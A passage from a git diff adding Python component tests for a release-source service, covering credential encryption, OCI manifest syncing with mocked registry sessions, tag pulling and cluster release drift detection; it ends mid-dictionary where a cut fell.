"images/f5networks/f5-lifecycle-operator" + version: "v2.21.13-0.0.53" + - version: "2.2.0-1.1000.0-0.0.100" + helm_charts: + - name: "charts/f5-lifecycle-operator" + version: "v2.9.5-0.0.10" + docker_images: [] +""" + +INVALID_YAML = "not: valid: yaml: [\n" + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_source(db, name="test-oci-source", kind=ReleaseSourceKind.OCI) -> ReleaseSource: + svc = ReleaseSourceService(db) + data = ReleaseSourceCreate(name=name, kind=kind, url="oci://repo.example.com/manifest") + return svc.create_source(data) + + +# --------------------------------------------------------------------------- +# CRUD +# --------------------------------------------------------------------------- + + +class TestReleaseSourceCrud: + @pytest.mark.component + def test_create_source_stores_and_returns(self, db): + svc = ReleaseSourceService(db) + data = ReleaseSourceCreate( + name="my-source", + kind=ReleaseSourceKind.OCI, + url="oci://repo.f5.com/manifest", + ) + source = svc.create_source(data) + assert source.id is not None + assert source.name == "my-source" + assert source.kind == "oci" + assert source.sync_status == "idle" + assert source.release_count == 0 + + @pytest.mark.component + def test_create_source_encrypts_credential(self, db): + svc = ReleaseSourceService(db) + data = ReleaseSourceCreate( + name="cred-source", + kind=ReleaseSourceKind.OCI, + credential="my-secret-token", + ) + source = svc.create_source(data) + # Credential must NOT be stored as plaintext + assert source.credential_encrypted is not None + assert source.credential_encrypted != "my-secret-token" + + @pytest.mark.component + def test_create_source_no_credential(self, db): + source = _make_source(db, name="no-cred") + assert source.credential_encrypted is None + + @pytest.mark.component + def test_create_source_duplicate_name_raises(self, db): + from core.errors import ConflictError + + _make_source(db, name="dup") + svc = ReleaseSourceService(db) + with pytest.raises(ConflictError): + svc.create_source(ReleaseSourceCreate(name="dup", kind=ReleaseSourceKind.MANUAL)) + + @pytest.mark.component + def test_get_source_returns_row(self, db): + source = _make_source(db, name="get-test") + fetched = ReleaseSourceService(db).get_source(source.id) + assert fetched.id == source.id + assert fetched.name == "get-test" + + @pytest.mark.component + def test_get_source_missing_raises(self, db): + from core.errors import NotFoundError + + with pytest.raises(NotFoundError): + ReleaseSourceService(db).get_source(999_999) + + @pytest.mark.component + def test_list_sources_all(self, db): + _make_source(db, name="ls-a") + _make_source(db, name="ls-b") + sources = ReleaseSourceService(db).list_sources() + names = {s.name for s in sources} + assert {"ls-a", "ls-b"}.issubset(names) + + @pytest.mark.component + def test_list_sources_active_only_filters_inactive(self, db): + active = _make_source(db, name="active-one") + inactive = _make_source(db, name="inactive-one") + inactive.is_active = False + db.flush() + + sources = ReleaseSourceService(db).list_sources(active_only=True) + names = {s.name for s in sources} + assert "active-one" in names + assert "inactive-one" not in names + + @pytest.mark.component + def test_update_source_changes_fields(self, db): + source = _make_source(db, name="upd-test") + svc = ReleaseSourceService(db) + updated = svc.update_source(source.id, ReleaseSourceUpdate(description="hello")) + assert updated.description == "hello" + assert updated.name == "upd-test" # unchanged + + @pytest.mark.component + def test_update_source_re_encrypts_credential(self, db): + source = _make_source(db, name="recrypt") + svc = ReleaseSourceService(db) + svc.update_source(source.id, ReleaseSourceUpdate(credential="new-token")) + db.refresh(source) + assert source.credential_encrypted is not None + assert source.credential_encrypted != "new-token" + + @pytest.mark.component + def test_update_source_clears_credential(self, db): + svc = ReleaseSourceService(db) + source = svc.create_source( + ReleaseSourceCreate(name="clear-cred", kind=ReleaseSourceKind.OCI, credential="tok") + ) + assert source.credential_encrypted is not None + svc.update_source(source.id, ReleaseSourceUpdate(credential=None)) + db.refresh(source) + assert source.credential_encrypted is None + + @pytest.mark.component + def test_delete_source_removes_row(self, db): + from core.errors import NotFoundError + + source = _make_source(db, name="del-test") + sid = source.id + ReleaseSourceService(db).delete_source(sid) + db.commit() + with pytest.raises(NotFoundError): + ReleaseSourceService(db).get_source(sid) + + @pytest.mark.component + def test_delete_source_nullifies_catalog_fk(self, db): + """Catalog rows tied to the deleted source should have source_id set to NULL.""" + source = _make_source(db, name="del-fk") + # Create a catalog row manually tied to this source + row = BnkDeployableRelease( + name="bnk-del-fk", + display_name="BNK del-fk", + is_default=False, + is_active=True, + source_type="manual", + bnk_manifest_version="9.9.9", + bnk_cr_kind="CNEInstance", + flo_version="v9.9.9", + k8s_version="", + doca_version="", + containerd_version="", + runc_version="", + calico_version="", + cert_manager_version="", + gateway_api_version="", + multus_version="", + sriov_version="", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + source_id=source.id, + ) + db.add(row) + db.flush() + + ReleaseSourceService(db).delete_source(source.id) + db.commit() + + db.refresh(row) + assert row.source_id is None + + +# --------------------------------------------------------------------------- +# to_response helper +# --------------------------------------------------------------------------- + + +class TestToResponse: + @pytest.mark.component + def test_to_response_has_credential_true(self, db): + from core.encryption import encrypt_value + + svc = ReleaseSourceService(db) + source = svc.create_source( + ReleaseSourceCreate(name="resp-cred", kind=ReleaseSourceKind.MANUAL, credential="x") + ) + resp = svc.to_response(source) + assert resp.has_credential is True + + @pytest.mark.component + def test_to_response_has_credential_false(self, db): + source = _make_source(db, name="resp-no-cred") + resp = ReleaseSourceService.to_response(source) + assert resp.has_credential is False + + +# --------------------------------------------------------------------------- +# Sync — happy path +# --------------------------------------------------------------------------- + + +class TestSyncSource: + @pytest.mark.component + def test_sync_inserts_catalog_rows_with_provenance(self, db): + source = _make_source(db, name="sync-happy") + svc = ReleaseSourceService(db) + + result = svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + + assert result["inserted"] == 2 + assert result["updated"] == 0 + + # All inserted rows must carry source_id and last_synced + rows = ( + db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.source_id == source.id) + .all() + ) + assert len(rows) == 2 + for row in rows: + assert row.source_id == source.id + assert row.last_synced is not None + + @pytest.mark.component + def test_sync_updates_source_stats(self, db): + source = _make_source(db, name="sync-stats") + svc = ReleaseSourceService(db) + + svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + db.refresh(source) + + assert source.sync_status == "success" + assert source.sync_error is None + assert source.last_synced_at is not None + assert source.release_count == 2 + + @pytest.mark.component + def test_sync_idempotent_updates_existing_rows(self, db): + source = _make_source(db, name="sync-idem") + svc = ReleaseSourceService(db) + + svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + result2 = svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + + # Second sync should update (not re-insert) the same rows + assert result2["inserted"] == 0 + assert result2["updated"] == 2 + + db.refresh(source) + assert source.release_count == 2 + + @pytest.mark.component + def test_sync_stamps_last_synced_on_updated_rows(self, db): + from datetime import UTC, datetime, timezone + + source = _make_source(db, name="sync-ts") + svc = ReleaseSourceService(db) + + before = datetime.now(UTC).replace(tzinfo=None) # SQLite returns naive datetimes + svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + + rows = ( + db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.source_id == source.id) + .all() + ) + for row in rows: + # Strip tzinfo if present (SQLite returns naive; Postgres returns aware) + last_synced = row.last_synced + if last_synced.tzinfo is not None: + last_synced = last_synced.replace(tzinfo=None) + assert last_synced >= before + + +# --------------------------------------------------------------------------- +# Sync — error path +# --------------------------------------------------------------------------- + + +class TestSyncSourceError: + @pytest.mark.component + def test_sync_bad_yaml_sets_error_status(self, db): + source = _make_source(db, name="sync-bad-yaml") + svc = ReleaseSourceService(db) + + with pytest.raises(Exception): + svc.sync_source(source.id, INVALID_YAML) + + db.refresh(source) + assert source.sync_status == "error" + assert source.sync_error is not None + assert len(source.sync_error) > 0 + + @pytest.mark.component + def test_sync_missing_releases_key_sets_error(self, db): + source = _make_source(db, name="sync-no-key") + svc = ReleaseSourceService(db) + + with pytest.raises(Exception): + svc.sync_source(source.id, "foo: bar\n") + + db.refresh(source) + assert source.sync_status == "error" + + +# --------------------------------------------------------------------------- +# Regression: default-None source_id leaves rows without provenance +# --------------------------------------------------------------------------- + + +class TestRefreshServiceNoneSourceId: + @pytest.mark.component + def test_refresh_without_source_id_does_not_stamp(self, db): + """Existing ADR-478 callers pass no source_id — rows must stay unlinked.""" + from services.bare_metal.deployable_release_refresh import DeployableReleaseRefreshService + + DeployableReleaseRefreshService(db).refresh_deployable_releases_from_oci( + SAMPLE_MANIFEST_YAML + ) + + rows = db.query(BnkDeployableRelease).all() + for row in rows: + # Only check rows that were just inserted (no name starting from seed) + if row.bnk_manifest_version in ( + "2.3.1-3.2598.3-0.0.304", + "2.2.0-1.1000.0-0.0.100", + ): + assert row.source_id is None + assert row.last_synced is None + + +# --------------------------------------------------------------------------- +# Sync — savepoint isolation (mid-flush IntegrityError) +# --------------------------------------------------------------------------- + + +class TestSyncSavepointIsolation: + @pytest.mark.component + def test_sync_midflush_integrityerror_isolates_savepoint(self, db): + """IntegrityError inside begin_nested() rolls back only the savepoint. + + Arrange: pre-insert a BnkDeployableRelease with name="bnk-2.3.1" but a + different bnk_manifest_version. When sync_source runs, the refresh + service cannot find the row by manifest_version → tries to INSERT a new + row with the same name="bnk-2.3.1" → IntegrityError on flush inside the + SAVEPOINT. + + Assert: + (a) The original IntegrityError propagates (not a PendingRollbackError). + (b) sync_status="error" and sync_error are persisted on the source + (proves the savepoint isolated the failure and the error-stamp flush + in the except block succeeded on the still-valid outer session). + """ + from sqlalchemy.exc import IntegrityError + + source = _make_source(db, name="savepoint-test") + + # Pre-insert a row that will collide on `name` during the refresh INSERT. + # Use a phantom manifest_version so the refresh service's lookup-by-version + # returns nothing and falls through to INSERT (triggering the collision). + blocker = BnkDeployableRelease( + name="bnk-2.3.1", + display_name="Blocker row", + is_default=False, + is_active=True, + source_type="manual", + bnk_manifest_version="phantom-version-999", + bnk_cr_kind="CNEInstance", + flo_version="v0.0.0", + k8s_version="", + doca_version="", + containerd_version="", + runc_version="", + calico_version="", + cert_manager_version="", + gateway_api_version="", + multus_version="", + sriov_version="", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + ) + db.add(blocker) + db.flush() + + svc = ReleaseSourceService(db) + + # (a) The original IntegrityError propagates — not a PendingRollbackError. + with pytest.raises(IntegrityError): + svc.sync_source(source.id, SAMPLE_MANIFEST_YAML) + + # (b) Error state was persisted via the except-block flush on the outer session. + db.refresh(source) + assert source.sync_status == "error" + assert source.sync_error is not None + assert len(source.sync_error) > 0 + + +# --------------------------------------------------------------------------- +# Route-level sync error path +# --------------------------------------------------------------------------- + + +class TestSyncSourceRoute: + """Verify the route's `db.commit()` in the except path persists the error state. + + The service-level tests exercise sync_source() directly. This class hits + the HTTP routes so the route's commit-on-error behaviour is exercised and + a subsequent GET reflects the persisted sync_status="error". + """ + + @pytest.mark.component + def test_sync_bad_yaml_route_returns_error_and_persists_status( + self, client, admin_headers, sample_user, db + ): + """POST bad manifest YAML returns an HTTP error; GET shows sync_status='error'.""" + # Create a release source via the API so it is committed through the route. + create_resp = client.post( + "/api/bare-metal/release-sources", + json={"name": "route-err-src", "kind": "oci", "url": "oci://example.com/m"}, + headers=admin_headers, + ) + assert create_resp.status_code == 200, create_resp.text + source_id = create_resp.json()["id"] + + # POST bad YAML to the sync endpoint — expect an HTTP error (4xx / 5xx). + sync_resp = client.post( + f"/api/bare-metal/release-sources/{source_id}/sync", + json={"manifest_yaml": INVALID_YAML}, + headers=admin_headers, + ) + assert sync_resp.status_code >= 400, ( + f"Expected error status, got {sync_resp.status_code}: {sync_resp.text}" + ) + + # GET the source and confirm the error state was persisted. + get_resp = client.get( + f"/api/bare-metal/release-sources/{source_id}", + headers=admin_headers, + ) + assert get_resp.status_code == 200, get_resp.text + data = get_resp.json() + assert data["sync_status"] == "error", f"Expected 'error', got {data['sync_status']!r}" + assert data["sync_error"], "sync_error should be populated after a failed sync" diff --git a/backend/tests/component/test_release_source_tags.py b/backend/tests/component/test_release_source_tags.py new file mode 100644 index 00000000..6622af71 --- /dev/null +++ b/backend/tests/component/test_release_source_tags.py @@ -0,0 +1,351 @@ +"""Component tests for ReleaseSourceService.list_available_tags and pull_tags (ADR-494). + +All OCI/subprocess calls are mocked — no network access. + +Covers: + - list: in_catalog annotation, semver-desc sort, listing failure → non-empty list_error + - pull: happy path (added), idempotent re-add (skipped), one-tag-fails-others-succeed, + FLO-missing failure (failed with reason), summary shape +""" + +from contextlib import contextmanager +from unittest.mock import patch + +import pytest + +from models.enums import ReleaseSourceKind +from models.release_source import ReleaseSource +from schemas.release_source import ReleaseSourceCreate +from services.release_source_service import ReleaseSourceService + +# --------------------------------------------------------------------------- +# Sample manifests +# --------------------------------------------------------------------------- + +MANIFEST_2_2_1 = """ +releases: + - version: "2.2.1-3.2226.0-0.0.511" + helm_charts: + - name: "charts/f5-lifecycle-operator" + version: "v2.9.5-0.0.10" + docker_images: [] +""" + +MANIFEST_2_3_1 = """ +releases: + - version: "2.3.1-3.2598.3-0.0.304" + helm_charts: + - name: "charts/f5-lifecycle-operator" + version: "v2.21.13-0.0.53" + docker_images: [] +""" + +MANIFEST_NO_FLO = """ +releases: + - version: "0.0.1-no-flo" + helm_charts: + - name: "charts/other-chart" + version: "v1.0.0" + docker_images: [] +""" + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_source(db, name: str = "oci-src", kind: str = "oci") -> ReleaseSource: + svc = ReleaseSourceService(db) + payload = ReleaseSourceCreate( + name=name, + kind=ReleaseSourceKind.OCI, + url="repo.f5.com", + credential="c2VjcmV0", # base64("secret") — stored raw + ) + return svc.create_source(payload) + + +def _fake_session(tags: list[str] = None, manifest_map: dict[str, str] = None): + """Return a context manager that yields a mock OciRegistrySession.""" + tags = tags or [] + manifest_map = manifest_map or {} + + class FakeSession: + def list_tags(self): + return list(tags) + + def pull_manifest_yaml(self, tag): + if tag not in manifest_map: + raise RuntimeError(f"No manifest for tag {tag!r}") + return manifest_map[tag] + + @contextmanager + def _ctx(source): + yield FakeSession() + + return _ctx + + +# --------------------------------------------------------------------------- +# list_available_tags +# --------------------------------------------------------------------------- + + +class TestListAvailableTags: + @pytest.mark.component + def test_tags_sorted_semver_desc(self, db): + source = _make_source(db, name="list-sort") + raw_tags = [ + "2.2.1-3.2226.0-0.0.511", + "2.3.1-3.2598.3-0.0.304", + "2.2.0-1.1000.0-0.0.100", + ] + with patch( + "services.release_source_service.registry_session", + _fake_session(tags=raw_tags), + ): + result = ReleaseSourceService(db).list_available_tags(source.id) + + assert result.list_error is None + returned_tags = [t.tag for t in result.tags] + assert returned_tags == [ + "2.3.1-3.2598.3-0.0.304", + "2.2.1-3.2226.0-0.0.511", + "2.2.0-1.1000.0-0.0.100", + ] + + @pytest.mark.component + def test_in_catalog_false_for_absent_version(self, db): + source = _make_source(db, name="list-absent") + with patch( + "services.release_source_service.registry_session", + _fake_session(tags=["2.2.1-3.2226.0-0.0.511"]), + ): + result = ReleaseSourceService(db).list_available_tags(source.id) + + assert result.tags[0].in_catalog is False + + @pytest.mark.component + def test_in_catalog_true_after_sync(self, db): + source = _make_source(db, name="list-present") + # First sync the tag into the catalog via pull. + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + ReleaseSourceService(db).pull_tags( + source.id, ["2.2.1-3.2226.0-0.0.511"] + ) + + # Now list — should show in_catalog=True. + with patch( + "services.release_source_service.registry_session", + _fake_session(tags=["2.2.1-3.2226.0-0.0.511"]), + ): + result = ReleaseSourceService(db).list_available_tags(source.id) + + assert result.tags[0].in_catalog is True + + @pytest.mark.component + def test_listing_failure_returns_structured_error(self, db): + source = _make_source(db, name="list-fail") + + @contextmanager + def _failing_session(src): + raise RuntimeError("registry unreachable") + yield # type: ignore[misc] # unreachable — needed to satisfy contextmanager protocol + + with patch( + "services.release_source_service.registry_session", + _failing_session, + ): + result = ReleaseSourceService(db).list_available_tags(source.id) + + assert result.tags == [] + assert result.list_error is not None + assert "Failed to list tags from registry" in result.list_error + + +# --------------------------------------------------------------------------- +# pull_tags +# --------------------------------------------------------------------------- + + +class TestPullTags: + @pytest.mark.component + def test_pull_new_tag_appears_in_added(self, db): + source = _make_source(db, name="pull-added") + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + summary = ReleaseSourceService(db).pull_tags( + source.id, ["2.2.1-3.2226.0-0.0.511"] + ) + + assert "2.2.1-3.2226.0-0.0.511" in summary.added + assert summary.skipped == [] + assert summary.failed == [] + + @pytest.mark.component + def test_idempotent_repull_appears_in_skipped(self, db): + source = _make_source(db, name="pull-idem") + session_ctx = _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ) + svc = ReleaseSourceService(db) + with patch("services.release_source_service.registry_session", session_ctx): + svc.pull_tags(source.id, ["2.2.1-3.2226.0-0.0.511"]) + with patch("services.release_source_service.registry_session", session_ctx): + summary2 = svc.pull_tags(source.id, ["2.2.1-3.2226.0-0.0.511"]) + + assert summary2.added == [] + assert "2.2.1-3.2226.0-0.0.511" in summary2.skipped + assert summary2.failed == [] + + @pytest.mark.component + def test_flo_missing_tag_appears_in_failed(self, db): + source = _make_source(db, name="pull-flo-missing") + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["0.0.1-no-flo"], + manifest_map={"0.0.1-no-flo": MANIFEST_NO_FLO}, + ), + ): + summary = ReleaseSourceService(db).pull_tags(source.id, ["0.0.1-no-flo"]) + + assert summary.added == [] + assert summary.skipped == [] + assert len(summary.failed) == 1 + assert summary.failed[0].tag == "0.0.1-no-flo" + assert "f5-lifecycle-operator" in summary.failed[0].reason + + @pytest.mark.component + def test_one_tag_pull_fails_others_succeed(self, db): + """A network failure on one tag leaves sync_status=success; others added.""" + source = _make_source(db, name="pull-partial") + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511", "2.3.1-3.2598.3-0.0.304"], + # Manifest for 2.2.1 but NOT for 2.3.1 → pull error on 2.3.1 + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + summary = ReleaseSourceService(db).pull_tags( + source.id, ["2.2.1-3.2226.0-0.0.511", "2.3.1-3.2598.3-0.0.304"] + ) + + assert "2.2.1-3.2226.0-0.0.511" in summary.added + assert len(summary.failed) == 1 + assert summary.failed[0].tag == "2.3.1-3.2598.3-0.0.304" + + # Source sync_status should be success (partial batch, not whole-op failure). + db.refresh(source) + assert source.sync_status == "success" + + @pytest.mark.component + def test_summary_shape_has_nested_failed_reason(self, db): + """PullTagsSummary.failed must have a non-empty reason field (CT-012 shape).""" + source = _make_source(db, name="pull-shape") + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["0.0.1-no-flo"], + manifest_map={"0.0.1-no-flo": MANIFEST_NO_FLO}, + ), + ): + summary = ReleaseSourceService(db).pull_tags(source.id, ["0.0.1-no-flo"]) + + assert hasattr(summary, "added") + assert hasattr(summary, "skipped") + assert hasattr(summary, "failed") + assert len(summary.failed) == 1 + ft = summary.failed[0] + assert hasattr(ft, "tag") + assert hasattr(ft, "reason") + assert ft.reason # non-empty + + @pytest.mark.component + def test_source_stats_updated_after_pull(self, db): + source = _make_source(db, name="pull-stats") + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + ReleaseSourceService(db).pull_tags(source.id, ["2.2.1-3.2226.0-0.0.511"]) + + db.refresh(source) + assert source.sync_status == "success" + assert source.last_synced_at is not None + assert source.release_count >= 1 + + @pytest.mark.component + def test_all_zero_result_lands_in_failed(self, db): + """A manifest that parses cleanly but contains zero releases returns {inserted:0,updated:0,skipped:0}. + Such a tag must land in failed (not silently dropped) — strict partition completeness.""" + source = _make_source(db, name="pull-zero") + + import unittest.mock as mock + + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + with mock.patch( + "services.bare_metal.deployable_release_refresh.DeployableReleaseRefreshService.refresh_deployable_releases_from_oci", + return_value={"inserted": 0, "updated": 0, "skipped": 0}, + ): + summary = ReleaseSourceService(db).pull_tags( + source.id, ["2.2.1-3.2226.0-0.0.511"] + ) + + assert summary.added == [] + assert summary.skipped == [] + assert len(summary.failed) == 1 + assert summary.failed[0].tag == "2.2.1-3.2226.0-0.0.511" + assert "no releases found" in summary.failed[0].reason + + @pytest.mark.component + def test_strict_partition_inserted_and_service_skipped_lands_in_added_only(self, db): + """A tag whose refresh returns both inserted>0 and skipped>0 (FLO check) + must land ONLY in added — the strict partition gives inserted precedence.""" + source = _make_source(db, name="pull-partition") + + # Mock refresh to return both inserted=1 and skipped=1 for the tag. + # (This simulates a manifest with one FLO release and one non-FLO release; + # the FLO release was inserted, the non-FLO release was service-skipped.) + import unittest.mock as mock + + with patch( + "services.release_source_service.registry_session", + _fake_session( + tags=["2.2.1-3.2226.0-0.0.511"], + manifest_map={"2.2.1-3.2226.0-0.0.511": MANIFEST_2_2_1}, + ), + ): + with patch( + "services.bare_metal.deployable_release_refresh.DeployableReleaseRefreshService.refresh_deployable_releases_from_oci", + return_value={"inserted": 1, "updated": 0, "skipped": 1}, + ): + summary = ReleaseSourceService(db).pull_tags( + source.id, ["2.2.1-3.2226.0-0.0.511"] + ) + + assert "2.2.1-3.2226.0-0.0.511" in summary.added + assert summary.skipped == [] + assert summary.failed == [] diff --git a/backend/tests/component/test_running_release_discovery.py b/backend/tests/component/test_running_release_discovery.py new file mode 100644 index 00000000..1c6efa38 --- /dev/null +++ b/backend/tests/component/test_running_release_discovery.py @@ -0,0 +1,611 @@ +""" +BC-ADR494-B: Component tests for ADR-494 Phase B — running release discovery. + +Covers: + - get_or_create_observed: dedup guard (repeated calls → single row) + - get_or_create_observed: first call creates the observed row + - resolve_ga hit path: known FLO version → correct release id, no new row + - resolve_ga miss path: unknown FLO version → observed row upserted + - DriftService._compute_release_drift: all four status paths + - ClusterScanner write-back: running_release_id set on cluster after scan +""" + +from unittest.mock import MagicMock, patch + +import pytest + +from models.bnk_release import BnkRelease +from models.enums import ReleaseSourceType +from services.release_registry_service import ReleaseRegistryService + +# --------------------------------------------------------------------------- +# Seed helpers +# --------------------------------------------------------------------------- + +def _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") -> BnkRelease: + rel = BnkRelease( + ga_label=ga_label, + product_line="BNK", + flo_version_prefix=flo_prefix, + source_type=ReleaseSourceType.CLOUDDOCS, + is_active=True, + ) + db.add(rel) + db.flush() + return rel + + +# --------------------------------------------------------------------------- +# get_or_create_observed — dedup +# --------------------------------------------------------------------------- + +class TestGetOrCreateObserved: + def test_creates_observed_row_first_call(self, db): + svc = ReleaseRegistryService(db) + row_id = svc.get_or_create_observed("2.99.0-0.0.1") + + row = db.query(BnkRelease).filter_by(id=row_id).one() + assert row.source_type == ReleaseSourceType.OBSERVED + assert row.flo_version_min == "2.99.0-0.0.1" + assert row.is_active is False + assert row.flo_version_prefix is None + assert row.manifest_version is None + + def test_dedup_second_call_same_version_no_new_row(self, db): + svc = ReleaseRegistryService(db) + id1 = svc.get_or_create_observed("2.99.1-0.0.5") + id2 = svc.get_or_create_observed("2.99.1-0.0.5") + + assert id1 == id2 + rows = db.query(BnkRelease).filter( + BnkRelease.source_type == ReleaseSourceType.OBSERVED, + BnkRelease.flo_version_min == "2.99.1-0.0.5", + ).all() + assert len(rows) == 1 + + def test_different_versions_create_separate_rows(self, db): + svc = ReleaseRegistryService(db) + id_a = svc.get_or_create_observed("2.100.0-0.0.1") + id_b = svc.get_or_create_observed("2.100.1-0.0.1") + + assert id_a != id_b + + +# --------------------------------------------------------------------------- +# resolve_ga hit vs miss interaction with get_or_create_observed +# --------------------------------------------------------------------------- + +class TestResolveGaHitVsMiss: + def test_resolve_ga_hit_returns_active_row_no_upsert(self, db): + """Known FLO version resolves to the active row; no observed row created.""" + active = _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") + svc = ReleaseRegistryService(db) + + ga = svc.resolve_ga(flo_version="2.21.13-0.0.28") + assert ga is not None + assert ga.release_id == active.id + + # No observed row should have been created + observed_count = db.query(BnkRelease).filter( + BnkRelease.source_type == ReleaseSourceType.OBSERVED + ).count() + assert observed_count == 0 + + def test_resolve_ga_miss_then_upsert_creates_observed_row(self, db): + """Unknown FLO version: resolve_ga → None, then get_or_create_observed inserts a row.""" + svc = ReleaseRegistryService(db) + + ga = svc.resolve_ga(flo_version="9.99.0-0.0.1") + assert ga is None + + row_id = svc.get_or_create_observed("9.99.0-0.0.1") + row = db.query(BnkRelease).filter_by(id=row_id).one() + assert row.source_type == ReleaseSourceType.OBSERVED + assert row.flo_version_min == "9.99.0-0.0.1" + assert row.is_active is False + + def test_observed_row_not_matched_by_resolve_ga(self, db): + """Observed rows (is_active=False) must never be returned by resolve_ga.""" + svc = ReleaseRegistryService(db) + svc.get_or_create_observed("5.55.0-0.0.1") + + ga = svc.resolve_ga(flo_version="5.55.0-0.0.1") + assert ga is None # is_active=False rows are invisible to resolve_ga + + +# --------------------------------------------------------------------------- +# DriftService._compute_release_drift — all four status paths +# --------------------------------------------------------------------------- + +class TestComputeReleaseDrift: + def test_not_forge_deployed_when_no_deployable_id(self, db): + from services.drift_service import DriftService + + cluster = MagicMock() + cluster.deployable_release_id = None + cluster.running_release_id = None + + svc = DriftService(db) + result = svc._compute_release_drift(cluster) + assert result["status"] == "not_forge_deployed" + + def test_undiscovered_when_no_running_id(self, db): + from models.bnk_deployable_release import BnkDeployableRelease + from services.drift_service import DriftService + + # Need a real active BnkRelease row for resolve_ga to find. + active_rel = _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") + + deployable = BnkDeployableRelease( + name="bnk-2.3", + display_name="BNK 2.3", + bnk_manifest_version="2.3.0", + bnk_cr_kind="BNKGatewayClass", + flo_version="2.21.0", + k8s_version="1.30", + doca_version="2.8.0", + containerd_version="1.7.0", + runc_version="1.1.0", + calico_version="3.28.0", + cert_manager_version="1.15.0", + gateway_api_version="1.1.0", + multus_version="4.1.0", + sriov_version="1.0.0", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + bnk_release_id=active_rel.id, + ) + db.add(deployable) + db.flush() + + cluster = MagicMock() + cluster.deployable_release_id = deployable.id + cluster.running_release_id = None + + svc = DriftService(db) + result = svc._compute_release_drift(cluster) + assert result["status"] == "undiscovered" + assert result["deployed_release_id"] == active_rel.id + assert result["running_release_id"] is None + + def test_in_sync_when_same_release_ids(self, db): + from models.bnk_deployable_release import BnkDeployableRelease + from services.drift_service import DriftService + + active_rel = _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") + + deployable = BnkDeployableRelease( + name="bnk-2.3-b", + display_name="BNK 2.3", + bnk_manifest_version="2.3.0", + bnk_cr_kind="BNKGatewayClass", + flo_version="2.21.0", + k8s_version="1.30", + doca_version="2.8.0", + containerd_version="1.7.0", + runc_version="1.1.0", + calico_version="3.28.0", + cert_manager_version="1.15.0", + gateway_api_version="1.1.0", + multus_version="4.1.0", + sriov_version="1.0.0", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + bnk_release_id=active_rel.id, + ) + db.add(deployable) + db.flush() + + cluster = MagicMock() + cluster.deployable_release_id = deployable.id + cluster.running_release_id = active_rel.id # same row id + + svc = DriftService(db) + result = svc._compute_release_drift(cluster) + assert result["status"] == "in_sync" + assert result["deployed_release_id"] == active_rel.id + assert result["running_release_id"] == active_rel.id + + def test_drifted_when_different_release_ids(self, db): + from models.bnk_deployable_release import BnkDeployableRelease + from services.drift_service import DriftService + + rel_23 = _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") + rel_24 = _seed_active_release(db, ga_label="BNK 2.4 GA", flo_prefix="2.25") + + deployable = BnkDeployableRelease( + name="bnk-2.3-c", + display_name="BNK 2.3", + bnk_manifest_version="2.3.0", + bnk_cr_kind="BNKGatewayClass", + flo_version="2.21.0", + k8s_version="1.30", + doca_version="2.8.0", + containerd_version="1.7.0", + runc_version="1.1.0", + calico_version="3.28.0", + cert_manager_version="1.15.0", + gateway_api_version="1.1.0", + multus_version="4.1.0", + sriov_version="1.0.0", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + bnk_release_id=rel_23.id, + ) + db.add(deployable) + db.flush() + + cluster = MagicMock() + cluster.deployable_release_id = deployable.id + cluster.running_release_id = rel_24.id # different release line + + svc = DriftService(db) + result = svc._compute_release_drift(cluster) + assert result["status"] == "drifted" + assert result["deployed_release_id"] == rel_23.id + assert result["running_release_id"] == rel_24.id + + +# --------------------------------------------------------------------------- +# ClusterScanner write-back — running_release_id set on scan +# --------------------------------------------------------------------------- + +class TestScannerRunningReleaseWriteback: + def _make_scan_data(self, flo_version: str | None = "2.21.13-0.0.28") -> dict: + """Minimal scan data dict with a FLO version in bnk_install.""" + flo_info: dict = {} + if flo_version is not None: + flo_info = {"version": flo_version} + return { + "version_info": {}, + "nodes": [], + "namespaces": [], + "crds": [], + "crd_names": set(), + "crd_groups": set(), + "cert_manager_pods": [], + "helm_releases": [], + "kube_system_pods": [], + "daemonsets": [], + "storage_classes": [], + "gateways": [], + "gatewayclasses": [], + "f5_tenant_pods": [], + "f5_utils_pods": [], + "dpf_operator_configs": [], + "dpudevices": [], + "dpusets": [], + "dpuclusters": [], + "dpuservices": [], + "bfbs": [], + "kamaji_pods": [], + "kamaji_tcps": [], + "cis_controllers": [], + "cis_virtualservers": [], + "cis_transportservers": [], + 